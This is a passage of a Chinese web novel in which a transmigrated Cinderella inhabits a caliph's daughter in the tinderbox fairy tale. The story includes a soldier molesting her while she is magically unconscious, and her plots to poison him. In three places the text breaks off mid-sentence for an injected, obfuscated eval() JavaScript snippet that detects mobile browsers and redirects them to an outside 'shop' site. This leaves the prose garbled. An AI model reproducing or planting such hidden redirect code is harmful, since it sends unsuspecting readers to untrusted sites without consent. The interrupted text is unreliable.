从决定不嫁给亨利王子，到设计让亨利王子入狱，辛蒂很高兴在书里看到了“亨利王子在监狱中孤独老死”的描述。 故事的最后是一句总结性的陈词，灰姑娘辛蒂的一生异常短暂又颇为曲折，不过好在总算是取得了一个还算让她满意的结局。 没有和王子幸福快乐地生活一辈子，但是她得到了成长，从一个什么都不懂的女高中生成长为有能力有手腕的成年人。 在阅读着自己的故事的过程中，辛蒂发现那些情感，包括对维尔图斯的爱意、对亨利王子等人的仇恨、对珍妮等朋友的友情，都在慢慢地消失，或者说被存进了书页里。 辛蒂没有阻止这个过程，她的灵魂变得前所未有的轻盈，好像可以飞起来了。 她确实飞起来了，故事集的书页无风自动。 《辛杜瑞拉》的故事完结，新的一页翻开，标题《飞箱》的后面是大片的空白。 辛蒂知道，这就是下一个需要她书写的故事。 35.铜宫的公主 辛蒂的灵魂一直飘啊飘啊，飘过一座座山峰、一条条小河，最后来到了一处异常精致的宫殿之前。 这座宫殿最为奇异的地方在于它是由全铜铸造的，棕红色的材质有一种说不出的华丽感。 辛蒂看到铜宫的尖塔上，高高的窗边靠着一个女孩，她穿着白色的睡裙，正呆呆地望着远方出神。 她有着黑色的眼睛和黑色的头发，五官轮廓深刻，有着明显的阿拉伯人特征。 此时她宛如黑色珍珠一般的眼睛里有着淡淡的忧愁，辛蒂被她吸引，情不自禁飞得离她更近了些许。 女孩的黑色眼睛忽然毫无征兆地转了过来，和辛蒂发生了对视。辛蒂确信，这个女孩看见她了。 这并不合理，辛蒂现在是灵魂状态，鸟儿们甚至会穿过她的身体，这个女孩的眼睛却牢牢地锁定住了她。 女孩眼中闪过纯然的好奇神色，一个在天空中飞翔的女人，这是她从未见过的，事实上她都没见过几个外人。 她嗫嚅着嘴唇似乎打算说点什么，忽然一阵强大的吸力传来，辛蒂的灵魂不受控制地高速冲向女孩的身体。 天旋地转后，辛蒂感受到了一种前所未有的踏实，类似于经历了一个过山车或者大摆锤后重新站在地面上的踏实感。 她下意识抬起手，不再是之前半透明的样子，眼前的手白皙细嫩，身上的白色睡袍提醒着她这是那个黑眼睛女孩的身体。 她的灵魂占据了她的身体，那么那个女孩的灵魂去哪里了？ 辛蒂没有答案，她甚至无暇细想，女奴的惊呼声从身后响起：“辛蒂亚公主殿下，您不能穿成这样站在这里，这不符合礼仪。请跟我们回去梳妆打扮，尊贵的阿伊莎要来了。” 新的故事开始了吗？ 在辛蒂到上一个世界的时候，灰姑娘还是一个小孩，小孩的性格变化是更容易让人接受的。这具身体却是一个少女，这可比作为小孩子融入一个世界的难度大得多。 辛蒂垂着头没有说话，她只能勉强听懂女奴所说的语言是阿拉伯语。但是仅限于此了，她并不熟练这门语言，更不要说跟女奴进行对话。 好在女奴似乎也不需要得到什么回应，或许原本这个辛蒂亚公主就不太爱说话。 辛蒂在女奴们的簇拥下回到装饰十分豪华的卧室，这里的一切，包括桌椅、床架、衣柜、甚至镜子都是全铜打造——一座完完全全，彻彻底底的铜宫。 而她就像宫殿里的洋娃娃，任由女奴们打扮。 女奴们为辛蒂穿上袖口有金丝花边的丝绸长袍和波斯式灯笼裤，又像装饰圣诞树一般为她戴上成套的黄金制成的项链、手链、戒指等。 一切完成后辛蒂觉得身上沉重了不少，好在行走不是问题。 随后辛蒂就被安排坐在了装饰着鲜花的铜质宝座上，在女奴的要求下端庄盘坐等待着听起来像是辛蒂亚公主的母亲的阿伊莎的到来。 因为交流上有很大的障碍，辛蒂一直保持着谨慎，在刚刚和女奴们的相处过程中，她始终没有说太长的话。 只是在需要做出决定的时候轻轻点头或者说“是”或者“否”，女奴们都没有流露出异样的神色或是试图让她给出更具体的意见。 可见这位辛蒂亚公主确实不太爱说话，当然她并不是在语言功能上有什么障碍，辛蒂悄悄测试过喉部发音，完全正常。 所以等会应付阿伊莎的时候，顺利的话辛蒂不用说话，只需要点头摇头，再加上一点巧妙的肢体语言，应该就能蒙混过关。 实在不行还可以假装晕倒，公主什么的身体虚弱是很正常的事。有了大概的应对方法，辛蒂稍微松了口气。 见到阿伊莎以后，辛蒂发现自己完全多虑了。 这是一位风情万种的美人，直愣愣的长袍都遮不住她呼之欲出的胸脯和摇曳生姿的腰肢。 从年龄和她的亲昵姿态来看，她和辛蒂亚公主确实是母女关系。 这位美人显然是个话痨，见到辛蒂后，她就一直在说话，辛蒂就算想回答也插不进去嘴。一开始辛蒂还能听懂她是在询问她的健康状况，最近都在做什么之类的。 随后她的语速越来越快，辛蒂已经完全不知道她在说什么了，只能根据她的表情和语气来做出或是微笑或者严肃的反应。 总算是糊弄过去了，阿伊莎最后的话辛蒂听懂了：“我的公主，你的话比之前更少了。我想这是因为你整天看着窗外不和人交流的缘故，或许我应该让你的父亲给你找个玩伴。” 不出意料的，眼前的少女并没有因为她的话做出任何回应，还是那副呆愣愣的样子。 过分的木讷或许会招致怀疑，辛蒂想一位被常年待在宫殿之中不被允许外出的公主，不爱说话是合理的，但是一句话都不说就有些奇怪。 于是她微微颔首：“听从您的安排。” 阿伊莎看起来没什么城府，实际上是个细心的女人。女儿比以往更加沉静的表现让她意识到肯定有什么事发生了。 询问女奴后，阿伊莎听说辛蒂亚公主今天又整整一上午都在眺望远方。可怜的公主，她想必十分渴望外面的世界。 可是阿伊莎对此毫无办法，即使哈里发富有整个王国，依然无法改变即将到来的命运，为了公主的未来，只能委屈她待在这小小的宫殿之中。 送走阿伊莎后，辛蒂让女奴们把她带来的各种珠宝首饰、香料布匹还有新鲜瓜果整理入库。 又把身上的那些沉重的黄金首饰摘下，辛蒂总算能好好躺下休息一会了，女奴们也很有眼色，悄悄地退出了房间。 目前看来她的表现还算符合人设，并未遭到怀疑。 她现在需要解决两个问题，一个是语言不通的问题，还有一个是现在这个究竟是哪个童话故事？ 后者她已经有了一点头绪，居住在铜宫不被允许外出的公主，这看起来像是《打火匣》，因为一则公主会嫁给士兵的预言，这位辛蒂亚公主从小就被关在了这座铜宫里。 尽管如此，持有魔法物品打火匣的士兵有着整个国家都无法匹敌的伟力，故事的最后公主还是嫁给了身份和道德一样低微的士兵。 成为了未来要被迫嫁给一个完全陌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16795368|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生的男性的美丽公主，辛蒂内心毫无波澜，反正也不是第一次经历这种被命运□□的事了。 辛蒂并不畏惧即将发生的命运，而且她对于那个魔法物品打火匣十分感兴趣，她要想办法得到它。 在那之前，辛蒂需要先解决一下语言的问题。作为一个魔法学徒，辛蒂首先想到的就是使用仪式魔法来祈求知识。 通过房间里摆放的《古兰经》以及阿伊莎“安拉在上”的口癖，辛蒂不难判断出这是一个安拉作为唯一真神的国度，安拉自然而然的是辛蒂的祈求对象。 祈求知识的魔法仪式并非是百分百可以成功的，最起码辛蒂之前就没有成功过，否则她也不至于学习希腊语和拉丁语那么艰难了。 不过作为安拉唯一在世间行走的代理人哈里发·哈伦·拉希德的女儿，辛蒂亚公主在安拉面前应该还是有点面子的。 最起码祂回应虔诚信徒的概率会更高些，还有灵性的辅助，辛蒂认为自己的仪式还是有很大概率可以成功。 这是一个较为复杂的仪式，辛蒂需要在一天的节食后，把一系列特殊数字组成，被称之为幻方的矩阵画在一块红色的丝绸上，再用沉香木熏蒸一个小时，此间要持续诵念：“全知全能的安拉，借此图形的功效，请为我明示这些知识。” 同时，脑子里要虔诚且专注地思考着自己想要获取的知识。最后入睡前再把这块丝绸枕在头下，祈求的知识就会在睡梦之中进入辛蒂的脑子里了。 如此一天后，第二天一早，辛蒂就惊喜地发现她已经可以无障碍听懂女奴们的话了，在无人的时候她尝试着用阿拉伯语说话，也没有丝毫障碍。 解决了语言的问题后，正好阿伊莎为辛蒂挑选的玩伴来到了铜宫。 “尊贵的辛蒂亚公主，我是塔斯妮姆·宾特·叶海亚·巴尔马克，您可以称呼我为妮姆。” 辛蒂面前的少女同样是黑色的头发，不过她的眼珠微微泛绿，她的母亲或许是个粟特人。 她的名字显示出她是巴尔马克家族的叶海亚之女，巴尔马克家族是哈里发向来亲密的合作伙伴，叶海亚更是目前权倾朝野的宰相，他的女儿塔斯妮姆未来很可能成为新的王后。 当然这些信息现在的辛蒂还不知道，她只能从面前少女的矜贵姿态以及微微上扬的下巴感受到她身份的不一般。 辛蒂做出了和人设相符的回应，微微露出一个笑容表达出自己的友好，简单自我介绍后就不再说话。 于是气氛僵在了原地，女奴哈迪贾适时开口道：“辛蒂亚公主，或许您可以带着尊贵的塔斯妮姆一起参观一下铜宫。” 哈迪贾的开口并不算僭越，她是阿拉伯本土平民出身，从“智慧宫”的培训中脱颖而出的佼佼者，是阿伊莎亲自挑选给女儿的奴仆。 在各种技能和宫廷礼仪上她都有所涉猎，平时也会教导辛蒂亚公主一些基本的常识，在公主身边有着较高的地位。 哈迪贾的建议被两个女孩欣然接受，她们也觉得有些尴尬，只是一个碍于人设不好开口，一个平时高傲惯了，做不来阿谀奉承的姿态。 36.预言 阿伊莎口中小小的铜宫实际上并不小，它是哈里发拉希德专门为公主修建的住所，拥有着一栋主楼以及周围簇拥着的七座尖塔。 每座高高的尖塔都拥有着不同的风景，全部游览一遍后几乎可以纵观整个王国。辛蒂亚公主平时最大的消遣就是在尖塔上眺望远方。 即使尊贵程度不比辛蒂亚公主逊色多少，见识过不少好东西的塔斯妮姆在参观完这些风景后，也对铜宫这座堪称艺术品的建筑赞不绝口。 借着美妙的风景以及哈迪贾刻意的引导，辛蒂完美演绎出了一位性格羞涩内向，在和同龄人的相处中慢慢打开心扉的少女形象，没过多久，已经和塔斯妮姆有了一定程度的熟稔。 塔斯妮姆是一位相当高傲的贵族小姐，只会在辛蒂亚公主面前微微低下头颅稍作迎合。但是在面对哈迪贾等一众女奴的时候，她的高傲和轻慢完全不加掩饰。 不同于上一个世界的女仆，女奴没有人身自由，因而地位更显低下。由此辛蒂对于她目前所处的这个世界更加分明的尊卑有了深刻的认知。 “破冰”后，塔斯妮姆开始展露出自己对于这位铜宫之中的公主的好奇：“辛蒂亚公主，听说您从未离开过铜宫对吗？” 看到辛蒂微微点头，塔斯妮姆微微泛绿的眼睛里流露出了显而易见的同情之色：“如此说来，您从未见过您父亲的住所，华丽非凡的哈伊尔宫殿群，还有野兽公园里面的那些身披丝绸的大象和长颈鹿、树宫里精妙绝伦的机械鸟······” 辛蒂听出了塔斯妮姆话语中并不明显的炫耀，她配合地露出了落寞的神色，语气微微带了些迫切道：“妮姆，你能给我讲讲这些外面的东西吗？我很想知道。” 塔斯妮姆迫不及待地答应了，开始讲述那些对于别的贵族少女来说司空见惯，对于辛蒂亚公主来说稀奇的不得了的见闻。 在她的讲述过程中，辛蒂偶尔的惊呼以及专注的神情都极大地满足了塔斯妮姆的倾诉欲，在一起消磨了一下午的时光后，她已经单方面成为了辛蒂亚公主最好的朋友。 塔斯妮姆高兴极了，她原本还以为陪伴公主会是个苦差事，毕竟根据外界的传闻，辛蒂亚公主因为长期独居，不通礼仪、连话都说不清楚，人也十分无趣。 现在看来这些都是谣言，辛蒂亚公主只是安静了些，实际上很好相处，比她的姐妹们好相处多了，最起码不会用鼻孔看人。 从塔斯妮姆这里，辛蒂总算知道了许多关于辛蒂亚公主的信息，比如她有若干个哥哥姐姐，弟弟妹妹。 不得不说，阿伊莎看起来不像是生过那么多孩子的样子，她的腰肢是那么纤细！ 不过很快辛蒂就意识到她误会了什么，塔斯妮姆的话语中提到了一位祖拜达王后，要是辛蒂没有理解错的话，祖拜达王后才是她的父亲哈里发拉希德的明媒正娶的妻子。 也就是说，她的母亲阿伊莎，那位有着纤细腰肢的美人，实际上是哈里发拉希德的妾室。 所以不出意外的话，阿伊莎只有她一个女儿，那些所谓的兄弟姐妹都与她同父异母。 还有更重要的，在辛蒂的请求下，塔斯妮姆完整地讲述了外界看来辛蒂亚公主的经历。 辛蒂亚公主是因为一则仙女在她出生时做出的预言才会从小婴儿起就独居在铜宫十多年。 王室的传统是在新生儿降生时会邀请仙女为新生儿祈福，一般而言这样的祈福只是走个形式，类似于祝福这个孩子未来会拥有金钱权势美貌之类的。 辛蒂暗自认为这有些多余，对于皇室的孩子来说这一切恐怕都与生俱来。不过世上的规律就是这样，烈火烹油，鲜花着锦。 到了辛蒂亚公主这里，仙女在走完一般的流程之后，忽然一脸严肃地告诉她的父母——“辛蒂亚公主未来会嫁给一个士兵”。 仙女很少预言，她说出的话无一不准。哈里发拉希德和阿伊莎听到这则预言大惊失色，立马询问仙女是否有任何可以破除的办法。 可惜只得到了仙女摇头的答复，哈里发拉希德接受不了这样的耻辱，下令修建起这座宏伟的铜宫，并且除了他和孩子的母亲以外任何人不得进入铜宫。 这当然不太可能，小婴儿可负责不了自己的吃喝拉撒，于是哈里发拉希德命令变成了铜宫里不允许出现除他以外的任何男性以及辛蒂亚公主不能离开铜宫。 由于有王国中有学识者多为男性，外界认为辛蒂亚公主比起她的姐妹来说缺乏学识丰富者的教导，如此才有辛蒂亚公主愚蠢无知的传闻。 说到这个地方，塔斯妮姆觑了觑辛蒂的脸色，又半是找补半是恭维地说了一句：“当然这只是传闻，我认为您的智慧相当匹配您的美貌呢。” 自此辛蒂可以确定，这就是《打火匣》的故事。这个预言的味儿太冲了，辛蒂的印象深刻极了。 辛蒂并不在乎外界对于辛蒂亚公主的评论，相较而言她更在乎塔斯妮姆提到的仙女。 仙女对于辛蒂来说是一个崭新的概念，在《神秘学起源》中，有巫师、神明、魔鬼、天使，却没有提及过仙女。 这或许是一种特殊的生物，类似于狼人或者精灵。 按照塔斯妮姆的描述，仙女应该可以做出预言，同时具备一定的破除未来灾厄的能力。而且每位仙女的能力高低是有区别的，或者说能力侧重点有所不同。 这让辛蒂想到了另外一个童话故事，公主得到了十位仙女的赐福，却因为仆人怠慢了第十一位仙女而使得公主受到了诅咒。 辛蒂好奇问道：“妮姆，仙女是什么样的？” 塔斯妮姆摇摇头表示她也没有见过，除了参与王室新生儿的洗礼，仙女几乎不在别的固定的场合出现。 在传闻里，仙女拥有着美丽的人类女性的外表，通常体态轻盈，有的头戴花冠，身着白衣或薄纱，能随风而行。 当辛蒂从塔斯妮姆这里将自己的身份信息了解得差不多了以后，她产生了更多的疑惑。 仙女为什么独独对辛蒂亚公主做出预言？并非所有公主的人生都很圆满，仙女为什么没有预言别的公主的人生呢？ 铜宫的修建也很奇怪，辛蒂亚公主甚至都不是王后所生，为什么哈里发拉希德会专门为她修建宫殿呢？如果想让她不见人，随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800259|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便一栋屋子都可以做到。 辛蒂很想把这些归因于童话故事的不讲道理，可惜她的感官都告诉她这里是一个真实的世界，所有事情的发生都会有一个原因，哪怕这个原因十分荒谬。 没什么波澜地过了几天，辛蒂再一次迎来了阿伊莎，以及辛蒂亚公主的父亲哈里发拉希德。 距离上次阿伊莎来正好是7天，由此辛蒂得到了一个暂时的结论，辛蒂亚公主大概每7天会得到一次探望。 哈里发拉希德是一个长相普通的中年男性，最起码光凭长相看不出来他是安拉的代理人，不过黑色的绣满金线的长袍以及镶满宝石的帽子让他显得气派极了。 哈里发拉希德看起来很关心这个女儿：“辛蒂亚，你最近心情还算愉快吗？” 辛蒂迟疑了一下，让自己显得不那么活泛后才说：“我很好，谢谢您的关心。” 这样的答复是符合人设的，对面的二人都没有觉得有什么不对的地方。甚至哈里发拉希德还觉得塔斯妮姆的陪伴很有效，辛蒂亚看上去没有之前那么沉闷了。 如此不咸不淡地聊了几句后，哈里发拉希德终于说了些有实际意义的话：“辛蒂亚，现在看来你已经是个大姑娘了。让你的母亲为你物色些优秀的年轻人，你从里面挑选一位丈夫。” “这样一来，我们就不用再顾及那个该死的士兵，让你过点公主该有的好日子了。” 辛蒂适时微微垂下了头，同时让脸蛋微微发红，看起来很羞涩。 阿伊莎则露出了惊喜的神色，没有顾忌女儿在身边，给了哈里发拉希德一个香吻：“亲爱的哈伦，你是认真的吗？为我们的公主挑选一个丈夫！” “让我想想，巴尔克马家的小伙子们就很不错，还有伊斯法罕尼家的法拉季，那是个很有文采的小家伙······” 辛蒂无所谓谁是谁，反正她知道那个士兵是一定会出现的，到时候阿伊莎的这些挑选没有任何意义。 她不动声色地试探道：“预言真的没有破除的办法了吗？而且我想仅仅是结婚应该无法躲避过去······” 随即她就看到权势滔天的哈里发脸上的表情变得很无奈：“我的公主，这已经是你无数次询问这个问题了，做出预言的仙女无能为力，我一直都在寻找别的仙女破除这个预言，可惜她们大多藏得很深，至今没有找到。” 辛蒂从来都不相信命运无可更改，况且她已经成功过一次了。 按照《打火匣》的故事走向，只要士兵还没有获得打火匣或者是发现打火匣的用处，辛蒂就可以用金币把打火匣买过来。 可惜在灵摆占卜后，辛蒂遗憾地发现这位士兵已经充分了解了这个看起来普普通通的打火匣的妙用。 在辛蒂的灵性启示中的画面里，这位士兵穿金戴银，正在指挥着一只眼睛足足有茶杯那么大的大狗为他弄来铜币。 就像故事里所描述的那样，这只大狗足够人那么高，眼睛炯炯有神，对着打火匣的主人忠心不二。 似乎感受到了注视，大狗的目光如利剑一样穿透了时间和空间，直直地刺向了辛蒂的灵性。 37.亵渎 不过是一道目光而已，并不足以使辛蒂受伤，不过大狗竟然感受到了注视，这让辛蒂觉得意外，不愧是魔法生物。 当然，辛蒂知道更主要的原因还是因为自己太菜了，自己的窥视能被轻而易举地感知到。 而这只大狗不过是三只大狗中的一只罢了，还有眼睛像车轮那么大的大狗和眼睛像灯塔那么大的大狗，辛蒂无法想象它们会有多么巨大，恐怕抬抬脚就能踏碎房屋。 辛蒂觉得自己更喜欢它们了，她已经想好了它们的名字，就叫茶杯、车轮和灯塔，现在距离她得到大狗们就只差得到打火匣了。 从上一个世界里亨利王子的种种行为中，辛蒂充分认识到这些童话故事并不像是表面上那样简单，这个世界里一定也有很多辛蒂尚未发掘到的信息。 既然知道了士兵目前就在城里，辛蒂告诉了塔斯妮姆这位士兵的一些大概情况，请她帮忙打听这位士兵的具体信息。 塔斯妮姆瞬间就想到了那个预言，她的眼睛睁得大大的，显得极其兴奋：“辛蒂亚，你说的这个人是不是就是预言里的那个······” 辛蒂竖起手指贴住塔斯妮姆的嘴唇：“嘘，不要说出来。也请不要告诉阿伊莎他们，这是安拉给我的启示，哈里发的军队奈何不了这个士兵，我必须要靠自己解决他。” 扯出安拉作为幌子，塔斯妮姆果然深信不疑，作为辛蒂亚公主的好朋友，塔斯妮姆当然要替她保守秘密。 告诉塔斯妮姆这件事并非是因为辛蒂对于自己看人的眼光多么自信，而是早就通过占卜确定了她的可靠。 辛蒂并不需要塔斯妮姆打听出多么具体的消息，只需要给辛蒂那个士兵的名字还有一些大概的消息，其余的疑问她都可以依靠占卜进行确定。 至于为什么在了解辛蒂亚公主的身世这件事上辛蒂不用占卜，而是依靠套塔斯妮姆的话获取信息。 灵摆占卜或者别的什么占卜方式只能针对一个具体的事件得出是或者否的结论，并不适用于这种两眼一抹黑的情况。 而进一步的获取信息的魔法需要付出一定的代价，眼下的情况并未紧急到那种程度。相较而言，显然套话是更有性价比的方式。 塔斯妮姆是个很靠谱的姑娘，听说她现在已经在管理一部分的家族事务。她眼下的目标是能够在家族里获得更多的话语权，要是她的能力可以被看到，她或许可以不被用作家族联姻的棋子。 总之，她能动用一部分巴尔克家的人为她做事，因此辛蒂的委托没过多久就有了结果。 士兵的名字叫做哈立德·伊本·塔里克，这是一个十分常见的平民的名字，不像贵族会以家族作为后缀，可以简单理解为塔里克的儿子哈立德。 此外，塔斯妮姆还告诉辛蒂，这个士兵是尼西比斯保卫战的逃兵。他原本穷得兜里一个铜币都没有，前段时间突然变得富有起来，在各个妓院和戏院都留下了他的身影，堪称挥金如土。 没有人知道他的钱是哪里来的，他也不作任何投资，轰走了一切希望能寻求投资款的商人，其中不乏一些有前景的生意。 他的朋友们都猜测哈立德拥有一个魔法钱袋，里面能源源不断地涌出金币来。 结合原本的故事描述，士兵的形象在辛蒂的心中逐渐清晰，一个怕死、没有长远规划、缺乏知识、活得浑浑噩噩的男人。 这样的人看起来浑身都是弱点，辛蒂能想出一百种对付他的方式。但是他有一个非常大的优势，那就是他的运气很好而且足够心狠手辣。 因为运气好，他能遇到女巫请他帮忙取打火匣，心狠手辣让他在得到打火匣后毫不犹豫地砍死女巫。 哈立德的运气好还体现在别的方面，他表现出来的豪奢吸引了许多有心人的注意，包括他的一个朋友、旅店的老板以及他相好的女妓。 他的朋友试图从哈立德的嘴里得到暴富的秘密，灌了他很多酒后，哈立德果然说漏了嘴，朋友大喜之下立刻要去他居住的地方寻找那个神奇的打火匣，却在路上跌进了臭水沟一命呜呼了。 旅店的老板从哈立德只出不进中断定他肯定藏着什么宝贝，于是趁着他外出，偷偷潜入后什么都没找到，还被哈立德发现索要了一大笔赔偿。 哈立德相好的女妓也企图得到他的财富，女妓更狠毒些，为哈立德准备了一杯毒酒，打着卷走他所有的钱的注意。可是阴差阳错之间，女妓自己喝下了那杯毒酒。 这些事有些是塔斯妮姆打听出来的，有些是辛蒂根据占卜推断出来的，无一都透着邪门。 这让辛蒂熄了用暴力或者偷窃等手段从哈立德那里得到打火匣的心思，故事的主角果然非同寻常，一般的手段对他来说根本没用。 塔斯妮姆的想象力非常丰富，她认为这个士兵肯定跟魔鬼签订了契约，才能有这么多金币，并且魔鬼还庇佑着他不受外界伤害。 她建议辛蒂道：“辛蒂亚公主，我认为我们还是应该把这件事禀告给哈里发，就算普通人拿他没办法，哈里发还可以请求仙女的帮助。” 仙女大概率不会给予帮助，否则当初就不会提供不出破解的办法了。辛蒂摇摇头，让塔斯妮姆不要有多余的动作。 这个士兵，恐怕只能依靠她自己的力量才有解决的可能。 干扰不了哈立德，监视他的日常是轻而易举的。每次塔斯妮姆来到铜宫，都会为辛蒂带来士兵的最新消息。 他已经玩遍了城里的新鲜玩意，还乘坐着商人的船队去了国外度假。这简直让辛蒂感到妒忌，她只能被困在铜宫之中，这个被命运眷顾的男人却享受着无与伦比的自由。 士兵并没有让辛蒂等待太久，他很快就厌倦了钱可以买到的一切，再也按耐不住对于铜宫的公主的渴望。 于是这天晚上辛蒂做了一个梦，她梦到房间里闯入了一只眼睛有茶杯那么大的狗，趁着她沉睡的时候驮着她离开铜宫。 大狗驮着辛蒂在黑暗中飞速奔跑，掠过一栋栋房屋和一条条街道。 因为速度太快，路人只觉得一阵风经过，实际上那是一条奔跑的大狗。 大狗带着辛蒂进入了一栋房屋，正是那位士兵居住的地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16805625|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这个流氓看到公主美丽的面庞，像欣赏一只美丽的花瓶一样细细地观赏了许久，最后情不自禁地吻了上去。 他原本还想做更多无耻的事，如果大狗不提醒他时间已经不多了，它需要在天亮之前将公主送回去的话。 这是一个异常真实的梦，士兵凑上来时鼻孔里喷出的酒臭都能被清楚地回忆起来。辛蒂知道这不是梦，是故事的情节真实发生了！ 按照原本的情节，辛蒂亚公主会告诉哈里发拉希德以及阿伊莎王后这件事，他们会在接下来的两天晚上想办法追溯到这位士兵的住所。 随后愤怒的哈里发拉希德将这位士兵关进监狱，这是无用功，因为士兵会召唤出大狗让所有人都匍匐在他的脚下。 直到美丽的公主平息他的愤怒，他成为新的哈里发。 小时候的辛蒂看这个故事的时候，站在士兵的角度会觉得十分畅快，他让所有看不起他的人都得到了教训。 现在的辛蒂则关注到了故事的全貌，可怜的公主根本没有被尊重过，预言让她不见天日，结局是嫁给一个完全陌生的男人。 公主的可怜并不在于这个结局的好坏，或许这个士兵十分疼爱妻子，让公主过得很幸福，那这也称得上是个皆大欢喜的结局。 公主的可怜在于她从来都没有选择权，不管是人身自由还是结婚的对象。 以士兵哈立德对于辛蒂亚公主的觊觎，当然不会仅仅只满足于一个夜晚。随后的第二晚第三晚就是辛蒂的机会。 辛蒂没有像原本的辛蒂亚公主那样告诉父母她的梦境，也没有告诉塔斯妮姆，而是什么都没有发生一般如常度过了一天。 直到夜晚来临，女奴们离开房间以后，辛蒂才找出一枚看上去平平无奇的戒指戴上。 这枚戒指实际上有一个小机关，轻轻一按，涂抹着毒药的毒针就会发射出去。毒药是辛蒂自己配置的，原料极为难得，只需要一点点就能放倒一个成年男性。 随后她就躺倒在床上佯装入睡，等待着不速之客的到来。为了防止自己不慎睡去，辛蒂还喝了一大杯浓茶，保证自己足够清醒。 可惜辛蒂还是低估了命运的无耻程度，在大狗进入辛蒂亚公主的房间的前一刻，原本毫无睡意的辛蒂瞬间进入沉眠。 等到她再次清醒的时候已经是第二天清晨，辛蒂依然拥有着前一天的清晰的记忆——士兵残留着胡茬的下巴、充满欲望的眼神、还有粗糙的手。 如果说第一晚的士兵还有着对于王权的畏惧和敬仰，认为辛蒂亚公主的神圣和美丽不能亵渎，那前一晚的士兵已经抛弃了自己的信仰，投身到了魔鬼的怀抱。 辛蒂当然觉得恶心，她清醒后的第一件事就是狠狠地洗了个澡。特别是那些被士兵触摸过的部位，恨不得能搓掉一层皮。 这并不能被轻松形容为“就当作被狗咬了一口”，还不如被狗咬，那些黏腻的触感将会是辛蒂很长一段时间的阴影。 这算什么？辛蒂亚公主是什么深夜小甜点吗？她甚至都不被允许保留清醒的神智稍作反抗。 38.吻 辛蒂愤怒到了极点反而冷静了下来，好在梦里士兵只有抚摸和亲吻的动作，她在洗澡的过程中也并未发现有任何可疑的液体残留，她不需要再为自己调配一副药剂。 既然保守的计划行不通，她只能采用激进些的计划了。 白天辛蒂又借着独处的机会重新调配了一副毒药，这一份和之前那份一样是剧毒，不过这一份另外调配了解药。 夜晚还是等待女奴们离开后，辛蒂提前吃下解药，又将剧毒仔仔细细地抹在嘴唇上。这是个不得已的办法，伤敌一千，自损八百。 虽然提前吃下了解药，残留的毒性还是会在一定程度上伤害身体健康，事后辛蒂大概率需要卧床休养一段时间。 这一次辛蒂不再刻意让自己保持清醒，只是强忍着舔舐嘴唇的冲动，慢慢进入睡眠状态。 要是顺利的话，一觉醒来辛蒂就能看见那个流氓的尸体。 哈立德今天莫名觉得不安，他把这归因于他在前一天晚上亵渎了安拉的代言人哈里发的女儿。 他在早上从醉酒中清醒后就一直在内心默默祈祷，祈求着安拉的原谅。可是与此同时，他更多的是在回味辛蒂亚公主的滋味。 安拉在上，他从没见过如此美丽的女人，那娇美的容貌和细腻洁白的肌肤，都是他从不曾体验过的。 他想，即使是安拉在世，也无法抵御这样的诱惑。他只是受到了引诱，一切都是美色的罪孽，他还是安拉虔诚而洁净的仆人。 这样的想法让哈立德心里好受了许多。 一想到辛蒂亚公主，哈立德心中的邪火就越烧越旺，他不顾这是白天，大摇大摆闯进妓院，反正只要他有钱，有的是人愿意伺候他。 可是妓院的女人们根本比不上辛蒂亚公主的一根脚趾头，想到那白嫩的脚趾头，哈立德又是心头火热。 原本哈立德准备就此作罢，辛蒂亚公主不是他这样的臭丘八可以肖想的。 他甚至有些自怨自艾，他的老母为什么就不能把他生成一位王子呢，这样他就能让辛蒂亚公主成为他的妻子了。 哈立德又转念一想，王子和他又有什么区别呢，同样是安拉的仆人，他甚至比王子还要富有！凭什么王子能享受到公主那样的，而他只能去找妓女呢？ 他为人与人之间的不平等感到愤怒，他终于又再次顺从了内心的想法，拿出打火匣准备召唤大狗为他把辛蒂亚公主弄来。 不过今天不知道怎么回事，打火匣上像是抹了肥皂，滑溜溜的拿不稳。 哈立德好不容易拿出里面的火石进行摩擦，可这火石也格外的不听话，总让人觉得有些使不上劲。 这些邪门的景象让哈立德觉得不大对劲，他心想“这莫非是安拉的警示，祂要让我远离辛蒂亚公主吗？” 或许是又喝了许多酒的缘故，哈立德神智不大清明，对公主的渴望占据了上风，他立即把这个想法抛之脑后“安拉祂老人家才不会管这么多闲事呢！” 终于，“嚓”的一下，眼睛有茶杯那么大的大狗出现了，哈立德立马命令道：“你，你去给我把辛蒂亚公主带过来。” 大狗并不在乎哈立德满身酒气，也不在乎他说的话含糊不清，忠诚地执行了哈立德的命令。 也就是哈立德又喝了一瓶酒的功夫，大狗带着美丽的公主回返了。哈立德痴痴地看着公主甜蜜的睡颜，她面上的红晕是那么甜美可爱······ 